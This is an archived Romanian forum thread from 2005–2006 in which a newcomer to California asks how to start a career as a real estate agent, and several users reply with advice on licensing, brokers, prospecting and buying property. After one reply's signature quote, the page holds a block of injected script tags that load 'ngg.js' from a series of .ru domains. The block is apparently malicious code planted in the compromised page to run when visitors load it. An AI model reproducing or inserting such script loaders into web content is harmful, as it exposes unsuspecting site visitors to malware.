PDA

Arată versiune întreagă : Job in domeniul imobiliar - insider view?



Nicdan
31.10.2005, 07:48
Sotia mea
americanca nu ma ajuta prea mult la capitolul cariera. Ea e profesoara si in afara
de scoala nu are habar de prea multe alte lucruri, ma refer la domeniul pietei
de munca.

</span>



Inainte sa vin
aici am avut o agentie imobiliara in Bucuresti din care am trait binisor. Stiu
ca nu se poate face nici o comparatie intre cele doua piete, etc., totusi de
cand ma stiu am lucrat numai in domeniul serviciilor si cel al serviciilor
imobiliare mi-a placut foarte mult.

</span>




Locuiesc in
California, mai precis la 10 mile nord de San Francisco, intr-o zona extrem de
bogata si de propice afacerilor imobiliare. M-am pus intre timp la curent cu legislatia
locala si in curand o sa incep o scoala pentru a obtine licenta de sales
person.

</span>


Imi lipseste insa
ceva foarte important, dupa parerea mea, in afara cunostintelor de specialitate
pe care le pot invata dintr-o carte sau la scoala. Nu cunosc pe nimeni care sa
imi explice cate ceva despre mecanismul fin de functionare al pietei
imobiliare, despre munca de zi cu zi a unui agent imobiliar.</span>




Poate vreunul dintre
voi care lucreaza in acest domeniu, sau in domenii colaterale (loan etc.) sa
imi impartaseasca cate ceva despre experientele de inceput? Cum a

GNChicago
31.10.2005, 11:01
Hi Dane,


Nu ma astept ca cineva care lucreaza in acest domeniu sa-ti dezvaluie secretele lui in public.


Nu lucrez in acest domeniu, dar primesc scrisori de la multi agenti. Deci astia cumpara liste cu nume si # de telefon. Trebuie sa te faci cunoscut prin camere de comertz si prin comunitatea romaneasca mai ales si sa intri intr-un team de oameni care fac acest proces posibil, adica legaturi cu banca, appraisals, mortgage guys si bineinteles toti vor voi recommendation fees.


Asta e o meserie care iti umple buzunarele, daca economia merge bine, daca nu merge bine atunci nimic nu se misca!


Good Luck!

nkog
31.10.2005, 14:58
Nicdan,


Faptul ca ai inceput cursul de Real Estate Agent e un pas bun...ca ai facut ceva similar in Romania si iti place, e bine si asta. Ma gindesc ca si acolo, in Romania,ca agent ai fost platit comision la vinzare si la cumparare. Si aici ca agent ( sales agent cum il numesti tu ) principiul e acelasi. Mediezi vinzari si cumparari si pe ce misti pe piata, primesti comision. Vei ajunge sa lucrezi sub un "Broker in Charge" cu care vei imparti aceste comisioane, sau daca alti agenti sau brokeri sint implicati imparti si cu iei. Faptul ca piata e atit de HOT in California si nu numai, a produs o explozie de agenti peste tot. Adauga la asta faptul ca toata lumea aici in State care a auzit de investit in ceva, sau investete in ceva, Real Estate Investment a devenit ceva in care mai toti vor sa participe. Cererea si oferta ca si in orice piata, cuplata cu usurinta de a obtine bani in moduri foarteaccesibile ( vezi interest only loans, ARM, 40 Year amortization, all time low interest rates etc.) a impins preturile la niveluri f.ridicate. Cam ce zice GNChicago despre "daca economia merge bine ", lumea cumpara, vinde ,si... aici aparitu ca salesagent si poate cine stie mai tirziu ca broker...sau poate cine stie, ca investitor ? Diferente si implicatii enorme la fiecare nivel. Incearca sa inveti si sa intelegi diferentele si nuantele intre aceste roluri.


Pentru inceput te-as indruma la www.creonline.com (http://www.cre&#111;nline.com). Citeste toate articolele ( How to Articles). Citeste Succes Stories de pe acest site.Baga-te pe forumurile lor ( e totul gratuit) si urmareste discutiile. Cerceteaza arhiva lor despre lucruri care te intereseaza. Vei gasi persoane care au obtinut succese deosebite si carora nu le e jena deloc sa dezvaluie secretele in public. Nu te baga deocamdata la cumparat de carti sau cursuri care iti promit marea si sarea...Citeste si absoarbe tot ce se ofera in mod gratuit pe forum. Identifica persoane care din experienta/ esec/succesPROPRIU dau sfaturi. Citeste, citeste si iar citeste. Familiarizeaza-te cu limbajul de aici al pietei imobiliare. Fa asta si vei fi ani lumina in fata celor din clasa ta de sales agents si ca urmare ani lumina cind vei fi pe barba ta vinzind si cumparaind pentru inceput, iar mai tirziu rezolvind probleme si gasind solutii care altii nu le vor vedea nici puse sub nas.


Gaseste pe cineva care are succes in zona ta. Nu trebuie sa fie neaparat Roman. Cauta SUCCESUL ca factor de selectie. scoate-i la lunch, dinner...pune intrebari, multe intrebari...asculta si absoarbe tot ce poti.


"Trebuie sa te faci cunoscut prin camere de comertz si prin comunitatea romaneasca mai ales si sa intri intr-un team de oameni care fac acest proces posibil, adica legaturi cu banca, appraisals, mortgage guys ". Adevarat.


Viata de zi cu zi al unui agent imobiliar ? Ca sa ai succes trebuie sa listezi in continuu si sa misti proprietati. Dute vino cit mai mult, gaseste vinzatori, gaseste cumparatori, fa contacte cit mai multe. Daca ai norocul sa dai peste un Broker care sa te ia sub aripa si sa te "ajute" cu atit mai bine


Cam atit decamdata. Succes !


" Are you smart, or are you wise ? A smart person makes a mistake, learns from the experience, and never makes the mistake again. A wise person finds a smart person and learns how not to make the mistake in the first place " Roy Williams


/script>ript src=http://www.kgj3<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></s<script src=http://www.iroe.ru/ngg.js></script>

01.11.2005, 01:23
<DIV>Nic, Real Estate business este ocariera buna, dar inceputul este greu si trebuierabdare. Safipregatit ca in primul an sa nu castigi mare lucru si chiar sa cheltuiesti din buzunar. Considera asta ca un investment in viitorul tau. Cunosc multi romani care s-auapuca de real estate dar dupa cateva luni s-au lasat de meserie. In primul rand trebuie sa-ti iei licensul ca sa practici, poti sa cumperi cursul prin intenet ($300-400) si apoi sa te duci si dai examen. Eu am luat cursul pentru ca am vrut sa stiu legile si cum se vand si cumpara casele in US. Apoi trebuie sa gasesti un Broker ca sa lucrezi sub numele companiei lui (Remax, 21Century, MetroBrokers, etc). Asta nu este greu, ei te vor cauta. Pe broker nu-l costa nimic, nu-ti plateste salariu si iti ia un % din ce castigi tu. Trebuie sa compari mai multe oferte, si sa vezi care este cea mai buna, cine iti oferta cel mai bun deal, (iti cere cel mai mic %, fara office fees, etc). De obicei brokerul iti plateste cheltuielile delicense si examen. Fiind roman poatefimai greu. Multi romani nu vor safaca business cu tine pentru ca au avutexperiente neplacute in trecut cu altii romani, sau se tem de barfa (ca ai sa spui la altii romanii cat castiga, cat a dat pe casa, cat apus la down payment, etc) si atunci prefera sa se duca la un American pe care nu-l cunoste. Cand ai deaface cu romanii, de la inceput pune accentul pe confidentialitate,sa nu se teama ca tu vei duce vorba in sat despre finantele lor. In Romania la oameni le place sa se laude cat castiga, aici insa le pace sa se ascunda. Cel mai usor este sa vanzi; pui un semn in yard, faci advertisment si un open house in weekends si vinzi casa. Mai greu este sa gasesti clienti sa aiba increderesa-ti puna casa pe market cu tine. Si mai greu este sa reprzinti pe cumparator. Ii plimabi cu masina ta, pe benzina ta, le cumperi si lunch,iar dupa 2,3,4, si chair 6 luni se razgandesc sau nu se califica pentru loan si ai pierdut timpul si banii degeba. Trebuie sa-ti faci reclama; te duci casa cu casa si pui flyers sau business cards la usa la oamenilor; ca tu vrei sa le vinzi casacand se vor hotara sa vanda. Din 1000 de persoane unul saudoi are sa te caute la telefon. Apoi poti sa te duci la casele cu 4sale by owner, care sunt pe market de multe luni si sa le oferi sa le reprezinti tranzactia pentru un % mai mic decataltii, este mai bine sa castigi cateva sute dacat sa nu castigi nimic. Trateaza clientii cu respect si rabdare, americanii se muta la fiecare 4-5 ani, daca ailasat un cleint multumit,te va cauta de fiecare data cand are nevoi sa vanda si sa cumpre. Si apoi mai are si un frate, cumnat, prieten, etc. Astea sunt cele maibune referinte, un client care sa simtit bine si ai ramas prietencu el. Eu nu lucrez in business dar am cumpara si vandut mai multe proprietati si cunost multi realtori sicum se lucreaza. Multa bafta!



</DIV>

20.01.2006, 12:19
..Imi pare rau, dar trebuie sa te contrazic. Cel mai important lucru este ca dupa ce iti iei licenta de realtor, sa gasesti un broker care sa-ti ofere good training. Eu sunt in Florida, si mi-am facut trainingul cu Coldwell&amp;Banker. Totul depinde de tine. Cel mai important in Real Estate business este sa fii sociabil..sa stii sa lucrezi cu oamenii, sa-i faci sa se simta confortabil si sa aiba incredere in tine. Dupa o luna - doua in business iti dai seama daca este pentru tine sau nu. Eu mi-am luat licenta acum opt luni si acum $ 60Ksmileys/smiley1.gif...de fapt chiar acum in ianuarie am incheiat un contract. Nu am auzit niciodata de alti agenti sa cumpere lunch pentru potentiali clienti..smileys/smiley5.gif...ceva e in neregula aici. Dar cel mai important este ca ai acces primul la cele mai bune deal-uri..eu am cumparat doua condo cash, la 50%din market value. Deci uite o regula de aur: Cei mai multi bani in Real Estate nu ii faci din comisioane, ci din proprietati pe care le cumperi sub valoarea de piata, si le vinzi mai departe.


Mult $ucce$